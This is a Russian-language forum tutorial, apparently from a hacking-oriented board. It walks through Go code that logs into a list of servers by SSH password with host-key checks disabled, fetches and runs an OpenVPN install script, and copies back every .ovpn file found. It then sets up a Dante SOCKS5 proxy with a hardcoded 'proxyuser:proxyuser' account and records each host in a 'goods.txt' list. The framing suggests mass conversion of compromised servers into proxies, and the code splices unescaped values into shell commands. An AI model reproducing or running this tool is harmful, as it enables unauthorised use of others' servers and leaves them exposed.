- Эта структура используется для хранения каждой строки из файла, содержащей данные о доступе.
- Функция ReadAccessFromFile принимает на вход имя файла, открывает его для чтения. Если файл не удается открыть, возвращается ошибка err, и функция завершает работу. Закрываем файл с помощью defer.
- Читаем файл построчно с помощью сканнера. Разбиваем строку на части, используя пробел как разделитель. Если в строке меньше или больше трёх полей (ожидается хост, пользователь и пароль), возвращается ошибка с сообщением invalid format. Если формат правильный, данные добавляются в список accessList с помощью append, где каждое поле строки присваивается соответствующим полям структуры AccessData.
- После завершения чтения всех строк проверяется, не произошла ли ошибка при сканировании файла.
- Если ошибок не было, функция возвращает список всех прочитанных данных.
В пакете sshclient будет код подключения к SSH-серверу, вызова команды и вызова функций с конкретными командами, которые будут вынесены в другой пакет:
C-подобный: Скопировать в буфер обмена
Код:
package sshclient
import (
"bytes"
"fmt"
"openvpn/scmd"
"time"
"golang.org/x/crypto/ssh"
)
// 1
func CreateSSHClient(host, user, password string) (*ssh.Client, error) {
config := &ssh.ClientConfig{
User: user,
Auth: []ssh.AuthMethod{ssh.Password(password)},
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
Timeout: 10 * time.Second,
}
client, err := ssh.Dial("tcp", host, config)
if err != nil {
return nil, fmt.Errorf("failed to dial %s: %w", host, err)
}
return client, nil
}
// 2
func RunCommand(session *ssh.Session, command string) (string, string, error) {
var stdout, stderr bytes.Buffer
session.Stdout = &stdout
session.Stderr = &stderr
if err := session.Run(command); err != nil {
return stdout.String(), stderr.String(), fmt.Errorf("failed to run '%s': %w", command, err)
}
return stdout.String(), stderr.String(), nil
}
// 3
func ConnectAndRunCommand(host, user, password string) error {
client, err := CreateSSHClient(host, user, password)
if err != nil {
return err
}
defer client.Close()
if err := scmd.CheckIfUbuntu(client); err != nil {
return err
}
if err := scmd.CheckIfUserRoot(client); err != nil {
return err
}
if err := scmd.WgetOpenVPN(client); err != nil {
return err
}
if err := scmd.ChmodOpenVPN(client); err != nil {
return err
}
if err := scmd.InstallOpenVPN(client); err != nil {
return err
}
if err := scmd.LsofOpenVPN(client); err != nil {
return err
}
if err := scmd.DownloadedOvpn(client); err != nil {
return err
}
return nil
}
- Функция принимает адрес сервера, имя пользователя и пароль для подключения. Далее создается конфигурация SSH: имя пользователя для подключения, метод аутентификации, пароль, функция обратного вызова для проверки ключа хоста (игнорирование проверки ключа хоста), таймаут подключения установлен на 10 секунд. Затем создается клиент с помощью ssh.Dial("tcp", host, config), который пытается установить SSH-соединение с сервером по указанному адресу. В случае ошибки возвращается nil и сообщение об ошибке. Если всё успешно, возвращается клиент SSH.
- Функция RunCommand предназначена для выполнения команды на удалённом сервере через SSH-сессию и возврата результатов выполнения команды и возможных ошибок. Она принимает два параметра: session — активная SSH-сессия, и команду, которую нужно выполнить на удалённом сервере. Создаются две переменные stdout и stderr типа bytes.Buffer, которые будут использоваться для хранения вывода команды и ошибок соответственно. Поля Stdout и Stderr сессии session устанавливаются на созданные буферы stdout и stderr. Вызов session.Run(command) выполняет команду. Если команда завершается с ошибкой, возвращаются содержимое буферов и сообщение об ошибке. Если всё успешно, возвращаются содержимое стандартного вывода и стандартных ошибок.
- Функция ConnectAndRunCommand предназначена для запуска команд. Сначала происходит установка SSH-соединения с сервером. Если возникает ошибка при создании клиента, она возвращается, и функция завершает выполнение. Затем проверяется, является ли сервер Ubuntu, является ли текущий пользователь root, скачивается OpenVPN, изменяются права доступа к OpenVPN, проверяются работающие процессы OpenVPN, проверяются и скачиваются загруженные файлы OpenVPN. Если при выполнении любой из этих команд возникает ошибка, функция возвращает эту ошибку.
Переходим к имплементации функций пакета scmd. По большей части их код будет достаточно похож.
Сначала реализуем функцию CheckIfUbuntu:
C-подобный: Скопировать в буфер обмена
Код:
package scmd
import (
"fmt"
"strings"
"golang.org/x/crypto/ssh"
)
func CheckIfUbuntu(client *ssh.Client) error {
// 1
session, err := client.NewSession()
if err != nil {
return fmt.Errorf("failed to create session for 'uname -a': %w", err)
}
defer session.Close()
// 2
outputStr, stderrStr, err := RunCommand(session, "uname -a")
if err != nil {
return fmt.Errorf("error running 'uname -a': %w Stderr: %s", err, stderrStr)
}
// 3
fmt.Print(outputStr)
// 4
if strings.Contains(strings.ToLower(outputStr), "ubuntu") {
fmt.Println("The output contains 'Ubuntu'.")
} else {
fmt.Println("The output does not contain 'Ubuntu'.")
return fmt.Errorf("the system info does not contain 'Ubuntu'")
}
// 5
return nil
}
- Насколько я ознакомился с библиотекой golang.org/x/crypto/ssh, это правильный вариант реализации кода, и для его работы следует использовать метод NewSession. Он не создает буквально новую сессию, а работает в рамках существующей.
- Выполняет команду uname -a через SSH-сессию. Эта команда выводит информацию о системе, включая её имя, версию ядра и другие детали. Если выполнение команды завершается с ошибкой, возвращается ошибка с подробным сообщением и выводом ошибок.
- Выводит результат выполнения команды.
- Преобразует вывод команды в нижний регистр, чтобы сделать поиск нечувствительным к регистру, и проверяет, содержит ли вывод слово "ubuntu".
- Если система обнаружена как Ubuntu, функция возвращает nil, что означает отсутствие ошибок.
Функция CheckIfUserRoot аналогична предыдущей, за исключением того, что она вызывает команду whoami для отображения имени текущего пользователя. В целом, если мы зашли под root, то вывод будет root, и её можно переписать на проверку привилегий пользователя.
C-подобный: Скопировать в буфер обмена
Код:
func CheckIfUserRoot(client *ssh.Client) error {
session, err := client.NewSession()
if err != nil {
return fmt.Errorf("failed to create session for 'whoami': %w", err)
}
defer session.Close()
outputStr, stderrStr, err := RunCommand(session, "whoami")
if err != nil {
return fmt.Errorf("error running 'whoami': %w Stderr: %s", err, stderrStr)
}
fmt.Println("whoami output:")
fmt.Println(outputStr)
if strings.TrimSpace(strings.ToLower(outputStr)) == "root" {
fmt.Println("The current user is 'root'.")
} else {
fmt.Println("The current user is not 'root'.")
return fmt.Errorf("current user is not 'root'")
}
return nil
}
Далее реализуем функцию WgetOpenVPN для скачивания скрипта.
C-подобный: Скопировать в буфер обмена
Код:
func WgetOpenVPN(client *ssh.Client) error {
session, err := client.NewSession()
if err != nil {
return fmt.Errorf("failed to create session for 'wget': %w", err)
}
defer session.Close()
// 1
_, stderrStr, err := RunCommand(session, "wget https://git.io/vpn -O openvpn-install.sh")
if err != nil {
return fmt.Errorf("error running 'wget': %w Stderr: %s", err, stderrStr)
}
// 2
fileExists, err := fileExists(client, "openvpn-install.sh")
if err != nil {
return err
}
if fileExists {
fmt.Println("The file 'openvpn-install.sh' was successfully downloaded.")
} else {
fmt.Println("The file 'openvpn-install.sh' was not downloaded.")
return fmt.Errorf("something went wrong with wget openvpn-install.sh")
}
return nil
}
func fileExists(client *ssh.Client, filename string) (bool, error) {
session, err := client.NewSession()
if err != nil {
return false, fmt.Errorf("failed to create session for file check: %w", err)
}
defer session.Close()
checkFileCmd := fmt.Sprintf("if [ -f %s ]; then echo 'File exists'; else echo 'File does not exist'; fi", filename)
fileCheckOutputStr, fileCheckStderrStr, err := RunCommand(session, checkFileCmd)
if err != nil {
return false, fmt.Errorf("error checking file existence: %w Stderr: %s", err, fileCheckStderrStr)
}
if strings.Contains(fileCheckOutputStr, "File exists") {
return true, nil
}
return false, nil
}
- Выполняется команда wget для скачивания скрипта OpenVPN и сохранения его под именем openvpn-install.sh.
- Вызывается функция fileExists, чтобы проверить, был ли успешно загружен файл. В самой функции формируется команда checkFileCmd, которая проверяет существование файла. Используется условие -f, которое проверяет, является ли указанный путь файлом. Если в выводе команды содержится строка "File exists", это означает, что файл существует, и возвращается true. Если файл не найден, возвращается false.
Используем chmod +x для изменения прав доступа к файлу, добавляя разрешение на выполнение, в функции ChmodOpenVPN.
C-подобный: Скопировать в буфер обмена
Код:
func ChmodOpenVPN(client *ssh.Client) error {
session, err := client.NewSession()
if err != nil {
return fmt.Errorf("failed to create session for 'chmod': %w", err)
}
defer session.Close()
_, stderrStr, err := RunCommand(session, "chmod +x openvpn-install.sh")
if err != nil {
return fmt.Errorf("error running 'chmod': %w Stderr: %s", err, stderrStr)
}
return nil
}
Поскольку скрипт установки требует активных действий со стороны пользователя, необходимо решить эту проблему. Если требуется более глубокая кастомизация, можно переписать скрипт или написать полноценный bash-скрипт поверх. Однако для выбора по умолчанию можно воспользоваться командой yes '' | bash openvpn-install.sh. Эта команда выводит пустую строку бесконечно, то есть непрерывно посылает пустые строки на стандартный ввод. | — это оператор конвейера, который передает вывод команды слева на ввод команды справа. bash openvpn-install.sh — запускает скрипт с помощью оболочки Bash. Пустые строки могут быть использованы для автоматического ответа на запросы скрипта и будут интерпретированы как действия по умолчанию.
C-подобный: Скопировать в буфер обмена
Код:
func InstallOpenVPN(client *ssh.Client) error {
session, err := client.NewSession()
if err != nil {
return fmt.Errorf("failed to create session for bash: %w", err)
}
defer session.Close()
command := "yes '' | bash openvpn-install.sh"
outputStr, stderrStr, err := RunCommand(session, command)
if err != nil {
return fmt.Errorf("error running 'yes' bash: %w Stderr: %s", err, stderrStr)
}
fmt.Println("Installation output:")
fmt.Println(outputStr)
return nil
}
После установки проверим, запущен ли процесс OpenVPN. Команда lsof -i :1194 выводит список всех процессов, которые используют порт 1194, применяемый по умолчанию для OpenVPN.
C-подобный: Скопировать в буфер обмена
Код:
func LsofOpenVPN(client *ssh.Client) error {
session, err := client.NewSession()
if err != nil {
return fmt.Errorf("failed to create session for lsof: %w", err)
}
defer session.Close()
outputStr, stderrStr, err := RunCommand(session, "lsof -i :1194")
if err != nil {
return fmt.Errorf("error running 'lsof': %w Stderr: %s", err, stderrStr)
}
fmt.Println("Output:")
fmt.Println(outputStr)
if strings.Contains(strings.ToLower(outputStr), "openvpn") {
fmt.Println("The output contains 'Openvpn'.")
} else {
fmt.Println("The output does not contain 'openvpn'.")
return fmt.Errorf("openvpn is not running ")
}
return nil
}
И наконец, скачаем файл .ovpn.
C-подобный: Скопировать в буфер обмена
Код:
func DownloadedOvpn(client *ssh.Client) error {
session, err := client.NewSession()
if err != nil {
return fmt.Errorf("failed to create session for find: %w", err)
}
defer session.Close()
// 1
command := `find / -type f -name "*.ovpn"`
outputStr, _, _ := RunCommand(session, command)
fmt.Println("Output:")
fmt.Println(outputStr)
if outputStr == "" {
return fmt.Errorf("no .ovpn files found")
}
// 2
filePaths := strings.Split(strings.TrimSpace(outputStr), "\n")
// 3
for _, filePath := range filePaths {
if filePath != "" {
fmt.Printf("Downloading file: %s\n", filePath)
if err := downloadFileSCP(client, filePath); err != nil {
return fmt.Errorf("failed to download .ovpn file: %w", err)
}
}
}
return nil
}
func downloadFileSCP(client *ssh.Client, path string) error {
session, err := client.NewSession()
if err != nil {
return fmt.Errorf("failed to create session for scp: %w", err)
}
defer session.Close()
// 4
command := fmt.Sprintf("cat %s", path)
// 5
currentTime := time.Now().Format("20060102_150405")
localFilePath := fmt.Sprintf("files/client_%s.ovpn", currentTime)
outputStr, _, _ := RunCommand(session, command)
fmt.Println("Output:")
fmt.Println(outputStr)
// 6
err = ioutil.WriteFile(localFilePath, []byte(outputStr), 0644)
if err != nil {
return fmt.Errorf("failed to write to local file: %w", err)
}
fmt.Println("File downloaded successfully:", localFilePath)
return nil
}
- С помощью команды find / -type f -name "*.ovpn" выполняем поиск всех файлов с расширением .ovpn по всей файловой системе.
- Вывод команды разбивается на отдельные строки (пути к файлам) и сохраняется в переменную filePaths.
- Проходим циклом по каждому найденному файлу с вызовом функции downloadFileSCP.
- Команда cat используется для чтения содержимого удалённого файла (вместо scp).
- Имя локального файла формируется с учётом текущей даты и времени, чтобы избежать конфликта имён.
- Выполняется команда для получения содержимого файла, которое затем записывается локально.
Код для работы с OpenVPN завершён. Давайте перейдём к коду создания прокси. В большинстве своём он будет очень похож на этот, поэтому сосредоточимся исключительно на различиях.
Прокси
Пакеты sshclient, fileutils и код в main.go остаются без изменений.
В первую очередь устанавливаем dante-server с помощью команды apt install dante-server. После установки проверяем успешность, выполняя поиск пакета dante-server среди установленных пакетов в системе, используя пакетный менеджер dpkg.
C-подобный: Скопировать в буфер обмена
Код:
func InstallDante(client *ssh.Client) error {
session, err := client.NewSession()
if err != nil {
return fmt.Errorf("failed to create session for 'apt get': %w", err)
}
defer session.Close()
_, stderrStr, err := RunCommand(session, "apt install dante-server")
if err != nil {
return fmt.Errorf("error running 'apt install dante-server': %w Stderr: %s", err, stderrStr)
}
danteExists, err := danteExists(client)
if err != nil {
return err
}
if danteExists {
fmt.Println("dante-server was successfully installed.")
} else {
fmt.Println("dante-server was not installed.")
return fmt.Errorf("something went wrong with apt install dante-server")
}
return nil
}
func danteExists(client *ssh.Client) (bool, error) {
session, err := client.NewSession()
if err != nil {
return false, fmt.Errorf("failed to create session for dante-server check: %w", err)
}
defer session.Close()
OutputStr, StderrStr, err := RunCommand(session, "dpkg -l | grep dante-server")
if err != nil {
return false, fmt.Errorf("error checking file existence: %w Stderr: %s", err, StderrStr)
}
if strings.Contains(OutputStr, "dante-server") {
return true, nil
}
return false, nil
}
Команда useradd proxyuser && echo "proxyuser
C-подобный: Скопировать в буфер обмена
Код:
func AddProxyUser(client *ssh.Client) error {
session, err := client.NewSession()
if err != nil {
return fmt.Errorf("failed to create session for 'useradd': %w", err)
}
defer session.Close()
_, stderrStr, err := RunCommand(session, `useradd proxyuser && echo "proxyuser:proxyuser" | chpasswd`)
if err != nil {
return fmt.Errorf("error running 'useradd': %w Stderr: %s", err, stderrStr)
}
return nil
}
Создадим файл config.txt в папке files с конфигурацией для Dante. Реализуем функцию UpdateDantedConfig.
C-подобный: Скопировать в буфер обмена
Код:
func UpdateDantedConfig(client *ssh.Client) error {
session, err := client.NewSession()
if err != nil {
return fmt.Errorf("failed to create session for 'update dante config': %w", err)
}
defer session.Close()
configData, err := ioutil.ReadFile("files/config.txt")
if err != nil {
return fmt.Errorf("failed to read config file: %w", err)
}
command := fmt.Sprintf("echo '%s' > /etc/danted.conf", string(configData))
_, stderrStr, err := RunCommand(session, command)
if err != nil {
return fmt.Errorf("error running 'update dante config': %w Stderr: %s", err, stderrStr)
}
return nil
}
Получим данные из файла в переменную configData. Можно воспользоваться scp или просто перезаписать информацию в файле. Данные, содержащиеся в переменной configData, конвертируются в строку. Команда echo выводит строку, заключённую в кавычки, и с помощью оператора перенаправления записывает её в файл /etc/danted.conf, перезаписывая его содержимое.
После этого перезапускаем службу командой systemctl restart danted.
C-подобный: Скопировать в буфер обмена
Код:
func RestartDante(client *ssh.Client) error {
session, err := client.NewSession()
if err != nil {
return fmt.Errorf("failed to create session for 'systemctl restart': %w", err)
}
defer session.Close()
_, stderrStr, err := RunCommand(session, "systemctl restart danted")
if err != nil {
return fmt.Errorf("error running 'systemctl restart': %w Stderr: %s", err, stderrStr)
}
return nil
}
И, наконец, реализуем функцию записи успешно созданных прокси в текстовый файл в пакете fileutils, которая будет вызываться в main после ConnectAndRunCommand в рамках цикла.
C-подобный: Скопировать в буфер обмена
Код:
func AppendGoodRes(host string) error {
// 1
filename := "files/goods.txt"
file, err := os.OpenFile(filename, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
return fmt.Errorf("failed to open file: %v", err)
}
defer file.Close()
// 2
parts := strings.Split(host, ":")
if len(parts) == 0 {
return fmt.Errorf("invalid host format: %s", host)
}
ip := parts[0]
// 3
line := fmt.Sprintf("socks5://proxyuser:proxyuser@%s:1080", ip)
_, err = file.WriteString(line + "\n")
if err != nil {
return fmt.Errorf("failed to write to file: %v", err)
}
return nil
}
- Открываем файл files/goods.txt с флагом os.O_APPEND, что позволяет добавлять новые строки в конец файла. Если файл не существует, он создаётся благодаря флагу os.O_CREATE. Файл открывается в режиме только для записи (os.O_WRONLY).
- Хост передаётся в формате строки, которая содержит IP-адрес и порт, разделённые двоеточием. Разделяем строку на части: IP-адрес и порт.
- Формируем строку прокси-сервера и записываем её в файл.
Итого процесс поднятия VPN-сервера и прокси-сервера успешно автоматизирован. Исходный код прикреплён к этому сообщению. Трям! Пока!